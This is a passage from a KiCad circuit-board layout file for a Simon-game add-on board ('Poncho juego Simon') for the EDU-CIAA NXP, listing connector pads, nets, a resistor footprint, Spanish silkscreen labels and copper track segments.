 (fp_text user 232_TX (at -4.318 30.48) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user 232_RX (at -4.318 27.94) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user SCL (at -2.794 25.4) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user SDA (at -2.794 22.86) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user VDDA (at -2.794 20.32) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user DAC (at -2.794 17.78) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user CH1 (at -2.794 15.24) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user CH2 (at -3.048 12.7) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user CH3 (at -3.048 10.16) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user GNDA (at -2.54 7.62) (layer F.SilkS)\n      (effects (font (size 1 0.5) (thickness 0.125)))\n    )\n    (fp_text user ISP (at -2.794 5.08) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user RESET (at -3.81 2.54) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_text user CIAA-P2 (at -69.85 -2.032) (layer F.SilkS)\n      (effects (font (size 0.8 0.8) (thickness 0.12)))\n    )\n    (fp_text user CIAA-P1 (at 1.27 -2.032) (layer F.SilkS)\n      (effects (font (size 0.8 0.8) (thickness 0.12)))\n    )\n    (fp_text user +3.3V (at -3.81 0) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.2)))\n    )\n    (fp_line (start -72.39 0) (end -72.39 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -72.39 -1.27) (end -67.31 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start -67.31 -1.27) (end -67.31 49.53) (layer F.SilkS) (width 0.15))\n    (fp_line (start -67.31 49.53) (end -72.39 49.53) (layer F.SilkS) (width 0.15))\n    (fp_line (start -72.39 49.53) (end -72.39 0) (layer F.SilkS) (width 0.15))\n    (fp_line (start -1.27 49.53) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))\n    (fp_line (start 3.81 -1.27) (end -1.27 -1.27) (layer F.SilkS) (width 0.15))\n    (pad 1 thru_hole rect (at 0 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 36 \"Net-(XA1-Pad1)\"))\n    (pad 2 thru_hole oval (at 2.54 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 37 \"Net-(XA1-Pad2)\"))\n    (pad 11 thru_hole oval (at 0 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 38 \"Net-(XA1-Pad11)\"))\n    (pad 4 thru_hole oval (at 2.54 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 39 \"Net-(XA1-Pad4)\"))\n    (pad 13 thru_hole oval (at 0 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 40 \"Net-(XA1-Pad13)\"))\n    (pad 6 thru_hole oval (at 2.54 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 41 \"Net-(XA1-Pad6)\"))\n    (pad 15 thru_hole oval (at 0 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 42 \"Net-(XA1-Pad15)\"))\n    (pad 8 thru_hole oval (at 2.54 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 43 \"Net-(XA1-Pad8)\"))\n    (pad 17 thru_hole oval (at 0 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 44 \"Net-(XA1-Pad17)\"))\n    (pad 10 thru_hole oval (at 2.54 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 45 \"Net-(XA1-Pad10)\"))\n    (pad 19 thru_hole oval (at 0 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 46 \"Net-(XA1-Pad19)\"))\n    (pad 12 thru_hole oval (at 2.54 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 47 \"Net-(XA1-Pad12)\"))\n    (pad 21 thru_hole oval (at 0 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 48 \"Net-(XA1-Pad21)\"))\n    (pad 14 thru_hole oval (at 2.54 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 49 \"Net-(XA1-Pad14)\"))\n    (pad 23 thru_hole oval (at 0 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 50 \"Net-(XA1-Pad23)\"))\n    (pad 16 thru_hole oval (at 2.54 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 51 \"Net-(XA1-Pad16)\"))\n    (pad 25 thru_hole oval (at 0 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 52 \"Net-(XA1-Pad25)\"))\n    (pad 18 thru_hole oval (at 2.54 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 53 \"Net-(XA1-Pad18)\"))\n    (pad 27 thru_hole oval (at 0 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 54 \"Net-(XA1-Pad27)\"))\n    (pad 20 thru_hole oval (at 2.54 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 55 \"Net-(XA1-Pad20)\"))\n    (pad 29 thru_hole oval (at 0 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 56 \"Net-(XA1-Pad29)\"))\n    (pad 22 thru_hole oval (at 2.54 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 57 \"Net-(XA1-Pad22)\"))\n    (pad 31 thru_hole oval (at 0 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 58 \"Net-(XA1-Pad31)\"))\n    (pad 24 thru_hole oval (at 2.54 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 59 \"Net-(XA1-Pad24)\"))\n    (pad 26 thru_hole oval (at 2.54 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 60 \"Net-(XA1-Pad26)\"))\n    (pad 33 thru_hole oval (at 0 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 61 \"Net-(XA1-Pad33)\"))\n    (pad 28 thru_hole oval (at 2.54 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 62 \"Net-(XA1-Pad28)\"))\n    (pad 32 thru_hole oval (at 2.54 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 63 \"Net-(XA1-Pad32)\"))\n    (pad 34 thru_hole oval (at 2.54 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 64 \"Net-(XA1-Pad34)\"))\n    (pad 36 thru_hole oval (at 2.54 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 65 \"Net-(XA1-Pad36)\"))\n    (pad 38 thru_hole oval (at 2.54 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 66 \"Net-(XA1-Pad38)\"))\n    (pad 35 thru_hole oval (at 0 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 67 \"Net-(XA1-Pad35)\"))\n    (pad 37 thru_hole oval (at 0 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 68 \"Net-(XA1-Pad37)\"))\n    (pad 3 thru_hole oval (at 0 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 69 \"Net-(XA1-Pad3)\"))\n    (pad 5 thru_hole oval (at 0 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 70 \"Net-(XA1-Pad5)\"))\n    (pad 7 thru_hole oval (at 0 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 71 \"Net-(XA1-Pad7)\"))\n    (pad 9 thru_hole oval (at 0 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 72 \"Net-(XA1-Pad9)\"))\n    (pad 39 thru_hole oval (at 0 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 73 \"Net-(XA1-Pad39)\"))\n    (pad 40 thru_hole oval (at 2.54 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 74 \"Net-(XA1-Pad40)\"))\n    (pad 30 thru_hole oval (at 2.54 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 75 \"Net-(XA1-Pad30)\"))\n    (pad 41 thru_hole rect (at -71.12 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 25 \"Net-(P1-Pad1)\"))\n    (pad 42 thru_hole oval (at -68.58 0 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 26 \"Net-(P1-Pad3)\"))\n    (pad 43 thru_hole oval (at -71.12 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 44 thru_hole oval (at -68.58 2.54 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 76 \"Net-(XA1-Pad44)\"))\n    (pad 45 thru_hole oval (at -71.12 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 77 \"Net-(XA1-Pad45)\"))\n    (pad 46 thru_hole oval (at -68.58 5.08 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 78 \"Net-(XA1-Pad46)\"))\n    (pad 47 thru_hole oval (at -71.12 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 79 \"Net-(XA1-Pad47)\"))\n    (pad 48 thru_hole oval (at -68.58 7.62 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 80 \"Net-(XA1-Pad48)\"))\n    (pad 49 thru_hole oval (at -71.12 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 31 /ciaaConector/PWM))\n    (pad 50 thru_hole oval (at -68.58 10.16 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 81 \"Net-(XA1-Pad50)\"))\n    (pad 51 thru_hole oval (at -71.12 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 82 \"Net-(XA1-Pad51)\"))\n    (pad 52 thru_hole oval (at -68.58 12.7 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 83 \"Net-(XA1-Pad52)\"))\n    (pad 53 thru_hole oval (at -71.12 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 84 \"Net-(XA1-Pad53)\"))\n    (pad 54 thru_hole oval (at -68.58 15.24 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 85 \"Net-(XA1-Pad54)\"))\n    (pad 55 thru_hole oval (at -71.12 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 86 \"Net-(XA1-Pad55)\"))\n    (pad 56 thru_hole oval (at -68.58 17.78 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 87 \"Net-(XA1-Pad56)\"))\n    (pad 57 thru_hole oval (at -71.12 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 88 \"Net-(XA1-Pad57)\"))\n    (pad 58 thru_hole oval (at -68.58 20.32 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 27 /ciaaConector/LED_1))\n    (pad 59 thru_hole oval (at -71.12 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 89 \"Net-(XA1-Pad59)\"))\n    (pad 60 thru_hole oval (at -68.58 22.86 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 13 /buttons/BTN_LED_1))\n    (pad 61 thru_hole oval (at -71.12 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 90 \"Net-(XA1-Pad61)\"))\n    (pad 62 thru_hole oval (at -68.58 25.4 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 14 /buttons/BTN_CFG_1))\n    (pad 63 thru_hole oval (at -71.12 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 91 \"Net-(XA1-Pad63)\"))\n    (pad 64 thru_hole oval (at -68.58 27.94 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 16 /buttons/BTN_CFG_2))\n    (pad 65 thru_hole oval (at -71.12 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 92 \"Net-(XA1-Pad65)\"))\n    (pad 66 thru_hole oval (at -68.58 30.48 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 15 /buttons/BTN_LED_2))\n    (pad 67 thru_hole oval (at -71.12 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 93 \"Net-(XA1-Pad67)\"))\n    (pad 68 thru_hole oval (at -68.58 33.02 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 28 /ciaaConector/LED_2))\n    (pad 69 thru_hole oval (at -71.12 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 94 \"Net-(XA1-Pad69)\"))\n    (pad 70 thru_hole oval (at -68.58 35.56 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 95 \"Net-(XA1-Pad70)\"))\n    (pad 71 thru_hole oval (at -71.12 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 96 \"Net-(XA1-Pad71)\"))\n    (pad 72 thru_hole oval (at -68.58 38.1 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 97 \"Net-(XA1-Pad72)\"))\n    (pad 73 thru_hole oval (at -71.12 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 30 /ciaaConector/LED_4))\n    (pad 74 thru_hole oval (at -68.58 40.64 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 29 /ciaaConector/LED_3))\n    (pad 75 thru_hole oval (at -71.12 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 18 /buttons/BTN_LED_4))\n    (pad 76 thru_hole oval (at -68.58 43.18 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 17 /buttons/BTN_CFG_3))\n    (pad 77 thru_hole oval (at -71.12 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 78 thru_hole oval (at -68.58 45.72 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 23 /buttons/BTN_LED_3))\n    (pad 79 thru_hole oval (at -71.12 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 1 GND))\n    (pad 80 thru_hole oval (at -68.58 48.26 270) (size 1.524 2) (drill 1.016) (layers *.Cu *.Mask F.SilkS)\n      (net 24 /buttons/BTN_CFG_4))\n  )\n\n  (module Resistors_THT:R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal (layer F.Cu) (tedit 59573707) (tstamp 59574258)\n    (at 99.4 58.3 90)\n    (descr \"Resistor, Axial_DIN0207 series, Axial, Horizontal, pin pitch=10.16mm, 0.25W = 1/4W, length*diameter=6.3*2.5mm^2, http://cdn-reichelt.de/documents/datenblatt/B400/1_4W%23YAG.pdf\")\n    (tags \"Resistor Axial_DIN0207 series Axial Horizontal pin pitch 10.16mm 0.25W = 1/4W length 6.3mm diameter 2.5mm\")\n    (path /59572EFC)\n    (fp_text reference \"R 0 Ohm\" (at 5.08 -2.31 90) (layer F.SilkS)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_text value R (at 5.08 2.31 90) (layer F.Fab)\n      (effects (font (size 1 1) (thickness 0.15)))\n    )\n    (fp_line (start 1.93 -1.25) (end 1.93 1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 1.93 1.25) (end 8.23 1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 8.23 1.25) (end 8.23 -1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 8.23 -1.25) (end 1.93 -1.25) (layer F.Fab) (width 0.1))\n    (fp_line (start 0 0) (end 1.93 0) (layer F.Fab) (width 0.1))\n    (fp_line (start 10.16 0) (end 8.23 0) (layer F.Fab) (width 0.1))\n    (fp_line (start 1.87 -1.31) (end 1.87 1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 1.87 1.31) (end 8.29 1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 8.29 1.31) (end 8.29 -1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 8.29 -1.31) (end 1.87 -1.31) (layer F.SilkS) (width 0.12))\n    (fp_line (start 0.98 0) (end 1.87 0) (layer F.SilkS) (width 0.12))\n    (fp_line (start 9.18 0) (end 8.29 0) (layer F.SilkS) (width 0.12))\n    (fp_line (start -1.05 -1.6) (end -1.05 1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start -1.05 1.6) (end 11.25 1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 11.25 1.6) (end 11.25 -1.6) (layer F.CrtYd) (width 0.05))\n    (fp_line (start 11.25 -1.6) (end -1.05 -1.6) (layer F.CrtYd) (width 0.05))\n    (pad 1 thru_hole circle (at 0 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)\n      (net 1 GND))\n    (pad 2 thru_hole oval (at 10.16 0 90) (size 1.6 1.6) (drill 0.8) (layers *.Cu *.Mask)\n      (net 1 GND))\n    (model Resistors_THT.3dshapes/R_Axial_DIN0207_L6.3mm_D2.5mm_P10.16mm_Horizontal.wrl\n      (at (xyz 0 0 0))\n      (scale (xyz 0.393701 0.393701 0.393701))\n      (rotate (xyz 0 0 0))\n    )\n  )\n\n  (gr_text \"Poncho juego Simon EDU-CIAA NXP\" (at 109 44.5) (layer F.SilkS) (tstamp 595746E3)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text \"Autor: Juan Agustin Bassi git@gitlab.com:abassi/ponchoSimon.git\\n\" (at 108.25 105.25) (layer F.SilkS) (tstamp 595746E2)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text START (at 105 64.5) (layer F.SilkS) (tstamp 595746E1)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text GAME (at 113 64.5) (layer F.SilkS) (tstamp 595746E0)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text SKILL (at 105 101) (layer F.SilkS) (tstamp 595746DF)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text BEST (at 113 101) (layer F.SilkS) (tstamp 595746DE)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text \"TEC 1\" (at 95.5 64.5) (layer F.SilkS) (tstamp 595746DD)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text \"TEC 2\" (at 122.5 64.5) (layer F.SilkS) (tstamp 595746DC)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text \"TEC 4\" (at 124 101) (layer F.SilkS) (tstamp 595746DB)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text \"TEC 3\\n\" (at 94 101) (layer F.SilkS) (tstamp 595746DA)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text JMP_VDD (at 82.524 46.269) (layer F.SilkS) (tstamp 595746D8)\n    (effects (font (size 1.5 1.5) (thickness 0.3)))\n  )\n  (gr_text 3V3 (at 86.207 50.968) (layer F.SilkS) (tstamp 595746D7)\n    (effects (font (size 1 0.5) (thickness 0.125)))\n  )\n  (gr_text 5V (at 85.953 53.762) (layer F.SilkS) (tstamp 595746D6)\n    (effects (font (size 1 0.5) (thickness 0.125)))\n  )\n  (gr_text \"INDUSTRIA\\nARGENTINA\" (at 143.357 44.872) (layer F.SilkS) (tstamp 595746D5)\n    (effects (font (size 1.5 1.5) (thickness 0.1875)))\n  )\n  (gr_text AMARILLO (at 89 57.75) (layer F.SilkS) (tstamp 595746D4)\n    (effects (font (size 2 1.5) (thickness 0.1875)))\n  )\n  (gr_text ROJO (at 88.62 79.924) (layer F.SilkS) (tstamp 595746D3)\n    (effects (font (size 2 2) (thickness 0.1875)))\n  )\n  (gr_text VERDE (at 129.26 79.924) (layer F.SilkS) (tstamp 595746D2)\n    (effects (font (size 2 2) (thickness 0.1875)))\n  )\n  (gr_text AZUL (at 129.25 57.25) (layer F.SilkS) (tstamp 595746D1)\n    (effects (font (size 2 2) (thickness 0.1875)))\n  )\n  (gr_line (start 67 107.5) (end 67 42.25) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746D0))\n  (gr_line (start 67 42.25) (end 150.25 42.25) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CF))\n  (gr_line (start 150.25 42.25) (end 150.25 107.5) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CE))\n  (gr_line (start 150.25 107.5) (end 67 107.5) (angle 90) (layer Edge.Cuts) (width 0.15) (tstamp 595746CD))\n  (gr_text \"Autor\\nAgustin Bassi\" (at 140.7 103.3) (layer B.Cu)\n    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))\n  )\n  (gr_text \"EDU-CIAA NXP\" (at 139.25 47.75) (layer B.Cu)\n    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))\n  )\n  (gr_text \"PONCHO JUEGO SIMON\" (at 134.75 44.75) (layer B.Cu)\n    (effects (font (size 1.5 1.5) (thickness 0.3)) (justify mirror))\n  )\n\n  (segment (start 104.828971 53.624429) (end 102.212542 51.008) (width 1.2) (layer B.Cu) (net 1))\n  (segment (start 102.212542 51.008) (end 99.4 51.008) (width 1.2) (layer B.Cu) (net 1) (tstamp 595730B7))\n  (segment (start 72.11 99.228) (end 72.11 100.11) (width 0.6) (layer F.Cu) (net 1))\n  (segment (start 86 94.5) (end 85.9608 94.5) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D3))\n  (segment (start 85.9608 94.5392) (end 86 94.5) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D2))\n  (segment (start 85.9608 96.4608) (end 85.9608 94.5392) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38D0))\n  (segment (start 86 96.5) (end 85.9608 96.4608) (width 0.6) (layer B.Cu) (net 1) (tstamp 595A38CF))\n  (via (at 86 96.5) (size 1.27) (drill 0.7112) (layers F.Cu B.Cu) (net 1))\n  (segment (start 86 102.5) (end 86 96.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38C9))\n  (segment (start 84 104.5) (end 86 102.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38C5))\n  (segment (start 76.5 104.5) (end 84 104.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38BA))\n  (segment (start 72.11 100.11) (end 76.5 104.5) (width 0.6) (layer F.Cu) (net 1) (tstamp 595A38B7))\n  (segment (start 72.11 99.228) (end 72.11 96.688) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 109 88.5) (end 109 90.659) (width 1.5) (layer B.Cu) (net 1))\n  (segment (start 109 90.659) (end 108.94 90.719) (width 1.5) (layer B.Cu) (net 1) (tstamp 595956B2))\n  (segment (start 109 78.34) (end 109 75.1502) (width 1.5) (layer B.Cu) (net 1))\n  (segment (start 109 75.1502) (end 108.9478 75.098) (width 1.5) (layer B.Cu) (net 1) (tstamp 595956A4))\n  (segment (start 99.4 51.008) (end 99.4 48.14) (width 1.5) (layer B.Cu) (net 1))\n  (segment (start 89.255 51.008) (end 96.6 51.008) (width 1.2) (layer B.Cu) (net 1))\n  (segment (start 96.6 51.008) (end 99.4 51.008) (width 1.2) (layer B.Cu) (net 1) (tstamp 59570DD3))\n  (segment (start 72.11 53.508) (end 70.908002 53.508) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 85.147 46.9) (end 89.255 51.008) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570D7E))\n  (segment (start 72.1 46.9) (end 85.147 46.9) (width 1.2) (layer B.Cu) (net 1) (tstamp 59570D78))\n  (segment (start 70.100002 48.899998) (end 72.1 46.9) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D73))\n  (segment (start 70.100002 52.7) (end 70.100002 48.899998) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D6D))\n  (segment (start 70.908002 53.508) (end 70.100002 52.7) (width 0.9) (layer B.Cu) (net 1) (tstamp 59570D6A))\n  (segment (start 121.513 90.592) (end 121.513 98.212) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 127.8708 63.4887) (end 127.8708 62.2187) (width 0.6) (layer B.Cu) (net 1) (tstamp 57797282))\n  (segment (start 128.6328 64.2507) (end 127.8708 63.4887) (width 0.9) (layer B.Cu) (net 1) (tstamp 57797281))\n  (segment (start 131.1728 64.2507) (end 128.6328 64.2507) (width 0.9) (layer B.Cu) (net 1) (tstamp 57797280))\n  (segment (start 131.9348 65.0127) (end 131.1728 64.2507) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727F))\n  (segment (start 131.9348 70.6007) (end 131.9348 65.0127) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779727E))\n  (segment (start 131.4268 71.1087) (end 131.9348 70.6007) (width 0.6) (layer B.Cu) (net 1) (tstamp 5779727D))\n  (segment (start 99.4 58.3) (end 99.4 60.3) (width 1.5) (layer B.Cu) (net 1))\n  (segment (start 102.8 63.7) (end 107.2 63.7) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DE6))\n  (segment (start 107.2 63.7) (end 108.9478 65.4478) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DF0))\n  (segment (start 108.9478 65.4478) (end 108.9478 67.3588) (width 1.5) (layer B.Cu) (net 1) (tstamp 59570DF1))\n  (segment (start 99.4 60.3) (end 102.8 63.7) (width 1.5) (layer B.Cu) (net 1) (tstamp 595730BB))\n  (segment (start 96.367 74.844) (end 96.367 71.161) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 96.367 71.161) (end 96.367 71.1087) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6457))\n  (segment (start 108.9478 75.098) (end 108.9478 67.3588) (width 1.5) (layer B.Cu) (net 1))\n  (segment (start 108.9478 74.9187) (end 108.9478 75.098) (width 0.635) (layer B.Cu) (net 1))\n  (segment (start 108.9478 67.3588) (end 108.94 67.351) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F644D))\n  (segment (start 108.94 67.351) (end 108.94 67.2987) (width 0.635) (layer B.Cu) (net 1) (tstamp 578F6451))\n  (segment (start 121.513 74.844) (end 121.513 71.034) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 121.513 71.034) (end 121.5208 71.034) (width 0.3048) (layer B.Cu) (net 1) (tstamp 578F6446))\n  (segment (start 107.5508 74.9187) (end 108.9478 74.9187) (width 0.9) (layer B.Cu) (net 1))\n  (segment (start 108.9478 74.9187) (end 110.3448 74.9187) (width 0.9) (layer B.Cu) (net 1) (tstamp 5779933B))\n  (segment (start 85.9608 70.6007) (end 86.0243 70.6642) (width 0.3048) (layer B.Cu) (net 1))\n  (segment (start 86.0243 70.6642) (end 86.4688 71.1087) (width 0.635) (layer B.Cu) (net 1) (tstamp 577991A3))\n  (segment (start 85.9608 65.0127) (end 85.9608 70.6007) (width 0.635) (layer B.Cu) (net 1) (tstamp 577861DB))\n  (segment (start 86.7228 64.2507) (end 85.9608 65.0127) (width 0.635) 